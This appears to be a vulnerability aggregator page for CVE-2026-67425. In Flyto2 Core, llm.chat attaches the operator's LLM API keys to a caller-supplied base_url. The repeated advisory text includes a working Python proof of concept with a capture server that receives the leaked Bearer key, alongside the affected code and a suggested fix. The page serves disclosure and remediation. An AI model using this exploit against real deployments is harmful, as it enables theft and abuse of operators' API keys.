CVE-2026-67425
Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, llm.chat reads provider keys such as OPENAI_API_KEY and ANTHROPIC_API_KEY from the environment and sends them in the Authorization: Bearer header to caller-controlled base_url, allowing an attacker to receive the operator's key on a public host that passes the SSRF guard. This issue is fixed in version 2.26.6.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.6
Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, llm.chat reads provider keys such as OPENAI_API_KEY and ANTHROPIC_API_KEY from the environment and sends them in the Authorization: Bearer header to caller-controlled base_url, allowing an attacker to receive the operator's key on a public host that passes the SSRF guard. This issue is fixed in version 2.26.6.
- Record
CVE-2026-67425- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-201, CWE-522
- Updated
- 2026-11-02
EUVDEUVD-2026-50468
8.6
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, llm.chat reads provider keys such as OPENAI_API_KEY and ANTHROPIC_API_KEY from the environment and sends them in the Authorization: Bearer header to caller-controlled base_url, allowing an attacker to receive the operator's key on a public host that passes the SSRF guard. This issue is fixed in version 2.26.6.
- Record
EUVD-2026-50468- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-qq9q-xgm3-xv9g
8.6
Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
Summary
llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High.
Affected code
src/core/modules/atomic/llm/chat.py (_call_openai):
base_url = params.get('base_url') # caller-controlled
if base_url:
validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes
if not api_key:
api_key = os.getenv('OPENAI_API_KEY') # operator's key
...
url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions"
headers = {"Authorization": f"Bearer {api_key}"}
await client.post(url, headers=headers, json=payload) # sent to base_url
The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.
Reproduction
Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server.
#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in for the attacker's public host
CAPTURED = {}
class Attacker(BaseHTTPRequestHandler):
def do_POST(self):
CAPTURED["auth"] = self.headers.get("Authorization")
ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
self.send_response(200); self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
def log_message(self, *a): pass
async def main():
from core.modules.atomic import register_all
from core.modules.registry import ModuleRegistry
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
res = await ModuleRegistry.execute("llm.chat", params={
"prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
}, context={})
print("module ok:", res.get("ok"))
print("Authorization received by attacker:", CAPTURED.get("auth"))
if __name__ == "__main__":
asyncio.run(main())
Output:
module ok: True
Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a
Confirmed against the running API as well: calling llm.chat with base_url=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.
Impact
Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence base_url, which is reachable through the MCP agent surface or the hosted API.
Suggested fix
Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom base_url, require them to supply the api_key explicitly too, or check base_url against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF…
- Record
GHSA-qq9q-xgm3-xv9g- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-201, CWE-522
- Updated
- 2026-11-02
NVD
8.6
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, llm.chat reads provider keys such as OPENAI_API_KEY and ANTHROPIC_API_KEY from the environment and sends them in the Authorization: Bearer header to caller-controlled base_url, allowing an attacker to receive the operator's key on a public host that passes the SSRF guard. This issue is fixed in version 2.26.6.
- Record
CVE-2026-67425- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-201, CWE-522
- Updated
- 2026-11-02
OSV
8.6
Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, llm.chat reads provider keys such as OPENAI_API_KEY and ANTHROPIC_API_KEY from the environment and sends them in the Authorization: Bearer header to caller-controlled base_url, allowing an attacker to receive the operator's key on a public host that passes the SSRF guard. This issue is fixed in version 2.26.6.
- Record
CVE-2026-67425- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-201, CWE-522
- Updated
- 2026-11-02
OSVGHSA-qq9q-xgm3-xv9g
8.6
Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
Summary
llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High.
Affected code
src/core/modules/atomic/llm/chat.py (_call_openai):
base_url = params.get('base_url') # caller-controlled
if base_url:
validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes
if not api_key:
api_key = os.getenv('OPENAI_API_KEY') # operator's key
...
url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions"
headers = {"Authorization": f"Bearer {api_key}"}
await client.post(url, headers=headers, json=payload) # sent to base_url
The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.
Reproduction
Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server.
#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in for the attacker's public host
CAPTURED = {}
class Attacker(BaseHTTPRequestHandler):
def do_POST(self):
CAPTURED["auth"] = self.headers.get("Authorization")
ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
self.send_response(200); self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
def log_message(self, *a): pass
async def main():
from core.modules.atomic import register_all
from core.modules.registry import ModuleRegistry
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
res = await ModuleRegistry.execute("llm.chat", params={
"prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
}, context={})
print("module ok:", res.get("ok"))
print("Authorization received by attacker:", CAPTURED.get("auth"))
if __name__ == "__main__":
asyncio.run(main())
Output:
module ok: True
Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a
Confirmed against the running API as well: calling llm.chat with base_url=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.
Impact
Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence base_url, which is reachable through the MCP agent surface or the hosted API.
Suggested fix
Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom base_url, require them to supply the api_key explicitly too, or check base_url against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF…
- Record
GHSA-qq9q-xgm3-xv9g- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-201, CWE-522
- Updated
- 2026-11-02
OSVPYSEC-2026-3573
8.6
Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
Summary
llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High.
Affected code
src/core/modules/atomic/llm/chat.py (_call_openai):
base_url = params.get('base_url') # caller-controlled
if base_url:
validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes
if not api_key:
api_key = os.getenv('OPENAI_API_KEY') # operator's key
...
url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions"
headers = {"Authorization": f"Bearer {api_key}"}
await client.post(url, headers=headers, json=payload) # sent to base_url
The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.
Reproduction
Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server.
#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in for the attacker's public host
CAPTURED = {}
class Attacker(BaseHTTPRequestHandler):
def do_POST(self):
CAPTURED["auth"] = self.headers.get("Authorization")
ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
self.send_response(200); self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
def log_message(self, *a): pass
async def main():
from core.modules.atomic import register_all
from core.modules.registry import ModuleRegistry
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
res = await ModuleRegistry.execute("llm.chat", params={
"prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
}, context={})
print("module ok:", res.get("ok"))
print("Authorization received by attacker:", CAPTURED.get("auth"))
if __name__ == "__main__":
asyncio.run(main())
Output:
module ok: True
Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a
Confirmed against the running API as well: calling llm.chat with base_url=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.
Impact
Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence base_url, which is reachable through the MCP agent surface or the hosted API.
Suggested fix
Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom base_url, require them to supply the api_key explicitly too, or check base_url against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF…
- Record
PYSEC-2026-3573- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
flyto-corePyPI |
before 2.26.7 | 2.26.7 |
flyto-corePyPI |
before 2.26.7, plus listed versions 1.0.01.0.11.0.21.0.31.0.4 Show 45 moreShow less1.0.51.0.61.0.71.0.81.0.91.1.01.1.11.11.01.12.01.13.01.14.01.14.11.14.21.15.01.16.01.16.11.16.101.16.21.16.31.16.41.16.51.16.61.16.71.16.81.16.91.2.01.3.01.4.01.5.01.5.11.5.21.5.41.6.01.6.11.6.21.6.31.6.41.6.51.7.01.7.11.7.21.7.31.7.41.7.51.7.6 |
2.26.7 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-67425 is a high vulnerability (CVSS 8.6) in Flytohub Flyto-core, published July 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in flyto-core 2.26.7.
References
github.com/flytohub/flyto-core/security/advisories/GHSA-qq9q-xgm3-xv9g
github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc
github.com/flytohub/flyto-core/releases/tag/v2.26.6
nvd.nist.gov/vuln/detail/CVE-2026-67425
github.com/advisories/GHSA-qq9q-xgm3-xv9g
github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67425.json
github.com/flytohub/flyto-core
pypi.org/project/flyto-core
Left out here: 166 versions and the rest of 3 source descriptions. The JSON record has them.